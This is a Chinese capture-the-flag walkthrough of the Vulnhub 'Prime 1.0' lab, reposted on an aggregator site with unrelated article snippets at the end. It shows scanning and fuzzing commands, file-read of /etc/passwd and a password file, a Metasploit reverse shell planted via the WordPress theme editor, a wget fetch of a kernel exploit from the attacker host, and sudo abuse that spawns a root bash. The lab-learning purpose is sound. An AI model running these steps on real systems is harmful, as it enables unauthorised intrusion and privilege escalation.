Prime 1.0

信息收集

存活主机探测

arp-scan -l

或者利用nmap

nmap -sT --min-rate 10000 192.168.217.133 -oA ./hosts

可以看到存活主机IP地址为:192.168.217.134

端口探测

nmap -sT -p- 192.168.217.134 -oA ./ports

UDP端口探测

详细服务等信息探测

开放端口22,ssh,版本为openssh 7.2p2

80端口,开放了http服务。

漏洞脚本探测

nmap -sT --script=vuln -p22,80 192.168.217.134 -oA ./vuln

这里在进行漏洞脚本探测的时候发现了相关信息!

存在wordpress!好像是还存在一个低速的DDOS攻击(这个就没什么用了)。

WEB渗透测试

经过上面的信息收集,我们收集到了靶机开放的端口存在两个 ,分别是22和80端口,所以我们的突破口应该就是在80上了,尝试访问服务:

只有一张图片,查看了源码,什么都没有的!

上面经过信息收集得到了该靶机上存在着wordpress!所以我们尝试访问一下(同时进行一下目录扫描吧):

尝试了最经常的弱口令,但是并没有登陆成功!

目录爆破

目录扫描结果如下:

尝试访问一下这几个目录吧先,不知道扫描的结果全不全,还是再利用其他的目录扫描工具,扫一遍:

扫描结果差不多。

访问一下上面扫描得到的路径吧:

/dev

大概的意思就是我们现在刚开始,我们应该利用我们的工具深入的进行渗透测试(红色代表:做过一遍之后,看大佬的讲解,重新编写,补充内容)

这里没看到very hard的含义,有忽略;所以导致了没有了攻击面;(这里使用dirb等工具进行目录扫描的时候,其实默认是不会扫描txt zip等后缀的!)

这里可以使用自己的字典去尝试,或者使用dirb -X 参数扫描指定后缀的敏感文件。

补充:

dirb扫描结果:

出现一个secret.txt文件!

(看起来你已经得到了一些秘密,ok 我仅仅是想帮助你下,在你找到的每一个php页面进行模糊测试,如果你得到了正确的参数的话,就看下一步,如果你遇到了阻碍的话,就看看下面的这个工具)

模糊测试

javascript目录是禁止访问的!

这里之前做过DC-2,当时web服务器上运行的服务同样是wordpress,当时利用了一个wordpress的工具,wpscan。这里同样进行一下测试:

wpscan --url http://192.168.217.134/wordpress/

出来了很多的信息!

wp-cron.php

源码里面是空的,啥也没有

upload目录下:

xmlrpc.php

wordpress的版本是5.2.2版本,网上找一下公开的漏洞:

利用-e参数来枚举wordpress中存在的用户:

得到了一个用户victor;利用crew爬取网站上的密码!

到这里没思路了,上面提到了爆破,感觉还是漏了什么东西,拿着自己的字典重新进行了目录扫描:

果然出现了新的信息(secret.txt):

访问下看看把:

果然还是又提示的!提示:“尝试在你得到的每一个php路径上fuzz参数”然后提供了一个工具!

使用这个工具进行参数的fuzz:

我们得到的php文件分别有:

image.php
index.php
/wordpress/wp-login.php

分别对这三个php进行参数的爆破!

wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt -c -u http://192.168.217.134/index.php?FUZZ 

-c:高亮显示

得到了很多的payload,我们利用回显的word长度的不同进行过滤:

wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt -c -u http://192.168.217.134/index.php?FUZZ --hw 12

发现了参数file!上面的提示还说了我们可以尝试看一下location.txt文件,看到出来的file参数,大概就是个任意文件读取了!

发现确实存在回显!任意文件读取,尝试读取敏感文件/etc/passwd等,读之前我还是看了一眼源码,发现了更神奇的事情!

又提供给我们一个重要的参数!secrettier360!(在其他的php页面上使用secrettier360这个参数或许更有趣!)

还剩下两个php页面(image.php wordpress/wp-login.php)。

先试试image把:

如果是image页面,这个页面存在什么漏洞呢?(sql注入、任意文件读取、命令执行?)

传入index.php,发现页面回显index.php的源码!还是任意文件读取!

文件包含利用

发现了两个用户,其中一个用户,在上面的wpscan的时候就发现了(victor)还有一个saket用户(find password.txt file in my directory:/home/saket)

读一下/etc/shadow吧:(读不出东西来,估计是没权限了)

那就读一下/home/saket/password.txt吧:

获得了一个密码:follow_the_ippsec

试试ssh!

登陆不上,还是去web界面看下能不能登陆吧!

最终发现使用用户名victor!密码follow_the_ippsec能登陆!

(关于wordpress漏洞成功登陆后台之后,需要先尝试如下的这两个漏洞-经验)

  1. 插件上的文件上传漏洞,可以上传zip压缩包
  2. 主题编辑器上传漏洞

先尝试下插件上的文件上传漏洞,随便上传一个zip的文件即可(先判断是否可以上传)

不能上传插件,此漏洞走不通!

之后就是招主题编辑器上的漏洞,寻找是否存在可上传的文件;在Appearance中Theme Editor中找到了一个奇怪的文件:(secret.php)

获取后台权限

能上传文件!利用MSF上传一个反弹shell木马!

查看文件的内容:(并将其通过secret.php文件进行上传!)

上传:

上传成功之后我们利用MSF起一个监听器:

访问:http://192.168.217.134/wordpress/wp-content/themes/twentynineteen/secret.php

便会收到会话!

提权

拿到shell之后,进行相关的信息收集:

查看是否安装了python,整一个交互性bash:

dpkg -l | grep 'python'

有python的环境,利用python起一个有交互的bash:

python -c "import pty;pty.spawn('/bin/bash')"

查看相应的权限:

看到这个信息,要知道的是:存在用户saket,不需要密码,以root身份执行enc!

看一下/home目录下存在哪些用户,发现确实存在两个;一个是victor,另一个是saket

尝试切换到这两个用户的家目录下,看啊可能都存在什么东西,发现victor用户下无法执行!

成功拿到了第一个flag

之后尝试提权,利用内核版本漏洞进行提权:

uname -a

版本是4.10.0-28-generic 内核是16.04

将这个文件上传到靶机上!

本地起一个php服务器:

php -S 0:80

然后我们在靶机上切换到网站的根目录下 或者是 临时目录下(/tmp),利用wget下载我们攻击机上的45010(编译后的文件)

wget http://192.168.217.128/45010

同时我们下载一下未编译的源文件,避免我们在攻击机上编译的文件和靶机版本不同,导致无法执行!(确实是没有办法执行的,试过后写的),然后我查看了靶机上是否存在gcc,发现是存在的,所以我们直接在靶机上编译执行即可!

上面的这个问题就是说明我们的攻击机编译之后的文件,没法在靶机上执行,原因就是版本不一样,我们需要模拟和靶机同版本的环境下,编译源文件,然后传到靶机上执行!

需要给执行的权限!

chmod +x 45010.c
gcc 45010.c -o 45010-2
./45010-2

查看是否提成功:

python起交互shell:

root.txt中存在着最终的flag

同时发现了存在sql.py文件,里面存在着数据库的账号和密码:

wordpress.sql文件:

另一种提权的方法

MSF上线之后,通过sudo -l发现一条奇怪的权限:

可以以root的身份,执行/home/saket/enc,并且还不需要密码。

此时我们可以去看看这个enc是个文件夹还是可执行的文件:

发现这是一个可执行的文件!那么接下来我们可以尝试执行一下看看会发生什么!

尝试执行却需要输入密码,但是我们并不知道什么密码!那怎么办?(那就找找主机上的pass文件)

find / -name "*pass*" 2>/dev/null
//寻找带有pass的文件   并且如果有报错的话 就丢弃
//为什么要有这个2>/dev/null   是因为我们的权限并不是最高的 所以很多的目录 可能是拒绝访问的!

于是便找到了如下,自己觉得可能是敏感的pass文件:

找了一圈没找到,换个单词进行匹配:backup:

看起来这个好像是:

拿着这个密码回去执行文件看看行不行,应该是没问题的!(利用root权限执行enc文件)

输出了一个good之后没了???看看当前目录下是不是也会产生什么东西?

产生两个文件,其实大佬说上面看到这个enc文件就已经联想到了openssl加密,当看到enc.txt key.txt的时候就确定了这就和openssl联系起来了!

看了看这两个文件分别内容是什么。上面的enc好像是base64编码过的东西。下面的key是提示,让我们将“ippsec”转换为md5哈希值,然后获得我们想要的东西。

先听话转个MD5吧

echo -n 'ippsec' | md5sum			#-n代表 在计算md5哈希值的时候,不要计算结尾的换行符 就是纯ippsec

这里还去掉了-n参数,显然和上面的加上-n之后 md5的哈希值完全不同!!!

显然后面还有两个空格和- ,我们优雅一点给他去掉!

echo -n 'ippsec' | md5sum |awk -F' ' '{print $1}'

之后干什么?就是拿着这个哈希值作为key,利用openssl解密enc.txt看看他到底说了什么!

如何解密enc

echo -n 'nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=' | openssl enc -d -a -CypherType -k

解释一下各个参数:

首先就是 echo -n 代表输出原始字符串 通过管道符 给到openssl
然后就是 enc 代表使用enc命令
-d 解密
-a base64解密
-CypherType 就是openssl中的命令中的一个 一共98种 你需要判断上面的加密enc字符串是什么类型
-k 指定key

由于我们不知道加密enc字符串的类型是什么,所以利用最笨的方法就是遍历!我们将下面的消息摘要复制出来:

然后将没用的行、空格删除,在vim种利用dd直接删除一行,然后我们对整个的内容进行一个整理:

awk '{gsub(/ /,"\n");print}' xxx		#其中的xxx是文件名 #利用awk 使用了gsub 全局替换!空格为换行

由于存在大量的空格,那么被替换之后,也就存在了大量的换行,针对这个我们可以进行排序,并且取唯一:

awk '{gsub(/ /,"\n");print}' xxx| sort | uniq

awk '{gsub(/ /,"\n");print}' xxx| sort | uniq | wc -l	#排序 取唯一之后,利用wc -l统计行数

之后我们可以将我们处理好的数据,写入到一个文件中:

awk '{gsub(/ /,"\n");print}' xxx| sort | uniq > CipherType

之后我们仔细看一下openssl enc 的帮助:

openssl enc --help

-a 和 -base64的功能是一样的 ,就是base64的编码和解码

-K 代表着原始的key 还要使用使用十六进制编码!

关于如何转换为十六进制,我们可以利用od命令来转换!od(octal dump)主要用来转化八进制的,但是他也是可以转化其他的进制!

man od #查看od命令的帮助,需要制定参数-A 指定一个根 这里我们的原始的数据是md5的哈希值因此我们可以-A n 其实就是None

此外需要指定一个参数-t 输出的格式 可以看到下面有x2 或者是-x 但是这是两个字节的,我们需要是一个字节,也就是说我们指定 -t x1即可!

echo -n 'ippsec' | md5sum |awk -F' ' '{print $1}' | od -A n -t x1

最下面存在一个0a,这其实就是一个换行符,所以我们将换行符都去掉!

echo -n 'ippsec' | md5sum |awk -F' ' '{print $1}' | tr -d "\n"|od -A n -t x1

tr命令是 trip的意思,代表着修剪 -d参数代表着删除

之后我们再利用tr命令将换行和空格删除掉:

echo -n 'ippsec' | md5sum |awk -F' ' '{print $1}' | tr -d "\n"|od -A n -t x1 | tr -d "\n"

echo -n 'ippsec' | md5sum |awk -F' ' '{print $1}' | tr -d "\n"|od -A n -t x1 | tr -d "\n" | tr -d " "

此时我们已经得到了原始的key!

3336366137346362336339353964653137643631646233303539316333396431

现在我们的命令差不多就写完了:

echo -n 'nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=' | openssl enc -d -a -$Cipher -K 3336366137346362336339353964653137643631646233303539316333396431 

接下来就需要通过编写一个脚本来完成解密的任务:

for Cipher in $(cat CipherType);do xxxxxx;done 
#其中通过for循环来遍历cat CipherType的结果 
然后就是利用do 做某一件事,做的事情就是 openssl enc -d ....
done 就是做完了

但是我们发现爆出了很多的错误!看起来好像没有能成功解开的!这其实是openssl的一个bug,就是-n 到底什么时候指定的问题,这个没办法确定,只能通过试试才能确定!

现在将-n参数去掉再试试:

最终我们还需要改进一下我们的脚本,因为在运行的过程中爆出了很多的错误,同时我们还想知道他解密的时候到底用的是哪一个Cipher!

for Cipher in $(cat new_xx); do echo 'nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=' | openssl enc -d -a -$Cipher -K 3336366137346362336339353964653137643631646233303539316333396431 2>/dev/null;echo $Cipher; done

可以看到他解密的时候用到的CipherType是aes-256-ecb

验证一下:

没什么问题哈!

之后利用这个密码,尝试ssh登录saket!

查看当前用户的权限:

同理我们还是尝试执行以下这个文件吧,还是和enc一样的,利用sudo权限直接执行吧:

如果你可以打败我,然后在你面前挑战我? 什么鬼? 下面出现了一个报错 说是/tmp/challenge没找到这个文件!

那我们自己给他新建一个,然后里面写入代码不就好了!

echo '#!/bin/bash' > challenge
echo '/bin/bash' >>challenge
chmod +x challenge
sudo /home/victor/undefeated_victor

最终提权成功!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/194000.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Vulnhub 靶场】【HackathonCTF: 2】【简单】【20210620】

1、环境介绍 靶场介绍:https://www.vulnhub.com/entry/hackathonctf-2,714/ 靶场下载:https://download.vulnhub.com/hackathonctf/Hackathon2.zip 靶场难度:简单 发布日期:2021年06月20日 文件大小:2.6 GB 靶场作者&…

54.多级缓存

目录 一、传统缓存的问题、多级缓存方案。 二、JVM进程缓存。 1)进程缓存和缓存。 2)导入商品案例。 1.安装MySQL 2.导入SQL 3.导入Demo工程 4.导入商品查询页面 3)初识Caffeine(就是在springboot学过的注解方式的cache&…

NAND Flash和NOR Flash的异同

NAND Flash和NOR Flash是两种常见的闪存类型。 NOR Flash是Intel于1988年首先开发出来的存储技术,改变了原先由EPROM和EEPROM一统天下的局面。 NAND Flash是东芝公司于1989年发布的存储结构,强调降低每比特的成本,更高的性能,并…

栈和队列OJ题——15.循环队列

15.循环队列 622. 设计循环队列 - 力扣(LeetCode) * 解题思路: 通过一个定长数组实现循环队列 入队:首先要判断队列是否已满,再进行入队的操作,入队操作需要考虑索引循环的问题,当索引越界&…

网络接口规范

1、基本物理层: a) RJ45接口作为最基本的网络接口之一有两种形式:对于百兆网口有4条线,2对差分线;对于千兆网口有4对差分线。RJ45水晶头是有8个凹槽和8个触点(8p8c)的接头,分为集成网络变压器和非集成网络变…

2022年9月8日 Go生态洞察:Go Developer Survey 2022 Q2 结果分析

🌷🍁 博主猫头虎(🐅🐾)带您 Go to New World✨🍁 🦄 博客首页——🐅🐾猫头虎的博客🎐 🐳 《面试题大全专栏》 🦕 文章图文…

物奇平台电容触摸功能调试

是否需要申请加入数字音频系统研究开发交流答疑群(课题组)?可加我微信hezkz17, 本群提供音频技术答疑服务,+群赠送语音信号处理降噪算法,蓝牙耳机音频,DSP音频项目核心开发资料, 物奇平台电容触摸功能调试 1 修改按键驱动宏 2 编译生成wpk 文件,import 导入烧录文件。…

水果编曲软件fl studio手机版下载

fl studio mobile手机版中文名水果编曲软件,它是一款非常不错的音乐编曲软件,凭借简单易上手的操作方式,强悍且实用的功能,深受到了音乐创作者的喜爱,不仅仅提供了广阔的音乐创作空间,可以让用户对舞曲、轻…

工具网站:随机生成图片的网站

一个随机生成图片的网站:Lorem Picsum。 有时候,我们做静态页面需要大量图片去填充内容,以使用该网站去生成指定尺寸的图片。每次打开页面都会获取不同的图片,就不用我们做静态页面开发的时候,绞尽脑汁去找图片了。 …

振南技术干货集:ChatGPT,现在我做单片机/嵌入式开发已经离不开它了!(2)

注解目录 (此文部分内客由 ChatGPT 生成,你分得出来哪些是人写的,哪些是 ChatGPT 生成的吗?) 20.1 恐怖的 ChatGPT 2023年ChatGPT有多火?比 TikTok火4 倍都不止!什么是“范式革命”?从石器时代到飞机大炮就是范式革命。AI绘…

Python读取栅格遥感影像并加以辐射校正后导出为Excel的一列数据

本文介绍基于Python语言中的gdal模块,读取一景.tif格式的栅格遥感影像文件,提取其中每一个像元的像素数值,对像素值加以计算(辐射定标)后,再以一列数据的形式将计算后的各像元像素数据保存在一个.csv格式文…

IDA常用操作、快捷键总结以及使用技巧

先贴一张官方的图,然后我再总结一下,用的频率比较高的会做一些简单标注 快捷键 F系列【主要是调试状态的处理】 F2 添加/删除断点F4 运行到光标所在位置F5 反汇编F7 单步步入F8 单步跳过F9 持续运行直到输入/断点/结束 shift系列【主要是调出对应的页…

【RotorS仿真系列】Ardrone模型介绍

ardrone是rotors仿真框架提供的一款机型,因为该机型与我们实际使用的机型参数相近,所以这里对它的参数做特别整理和记录。 一、模型参数总结 ardrone的gazebo模型如下图所示: 根据ardrone.yaml,其关键参数如下所示&#xff1a…

Project 1: The Game of Hog(CS61A)

(第一阶段)问题 5a(3 分) 实现该函数,该函数模拟了完整的 Hog 游戏。球员 交替轮流掷骰子,直到其中一名玩家达到分数。playgoal 您现在可以忽略 Feral Hogs 规则和论点; 您将在问题 5b 中实现它。feral_h…

树莓派多串口通信

树莓派多串口通信 串口配置串口通信函数分析串口通信示例代码 参考博文1:树莓派 4 UART 多串口配置通信参考博文2:树莓派wiringPi库详解关于树莓派相关其他环境配置可参考:快速上手树莓派关于wiringPi库初始化与IO口开发可参考:树…

调优--学习笔记

1,Presto调优 数据存储格式 1)合理设置分区 与Hive类似,Presto会根据元信息读取分区数据,合理的分区能减少Presto数据读取量,提升查询性能。 2)使用列式存储 Presto对ORC文件读取做了特定优化&#xff0c…

Qt OpenCV 学习(一):环境搭建

对应版本 Qt 5.15.2OpenCV 3.4.9MinGW 8.1.0 32-bit 1. OpenCV 下载 确保安装 Qt 时勾选了 MinGW 编译器 本文使用 MinGW 编译好的 OpenCV 库,无需自行编译 确保下载的 MinGW 和上述安装 Qt 时勾选的 MinGW 编译器位数一致,此处均为 x86/32-bit下载地址…

《微信小程序开发从入门到实战》学习四十

4.2 云开发JSON数据库 4.2.11 更新数据 使用数据库API更新数据有两种方法:一.将记录局部更新的update方法;二.以替换的方式更新记录的set方法 update方法可以局部更新一个记录或一个集合的多个记录,更新时只有指定字段更新,其他…

智能诊疗体验:整合AI技术的互联网医院小程序开发

在科技化的趋势下,互联网医院小程序的开发变得愈发重要,尤其是通过整合人工智能(AI)技术,进一步提升了就医的效率。 一、引言 互联网医院小程序其开发目标是提高医疗服务的效率,同时也也提升了用户的就医…

23种设计模式之C++实践(一)

23种设计模式之C++实践 1. 简介2. 基础知识3. 设计模式(一)创建型模式1. 单例模式——确保对象的唯一性1.2 饿汉式单例模式1.3 懒汉式单例模式比较IoDH单例模式总结2. 简单工厂模式——集中式工厂的实现简单工厂模式总结3. 工厂方法模式——多态工厂的实现工厂方法模式总结4.…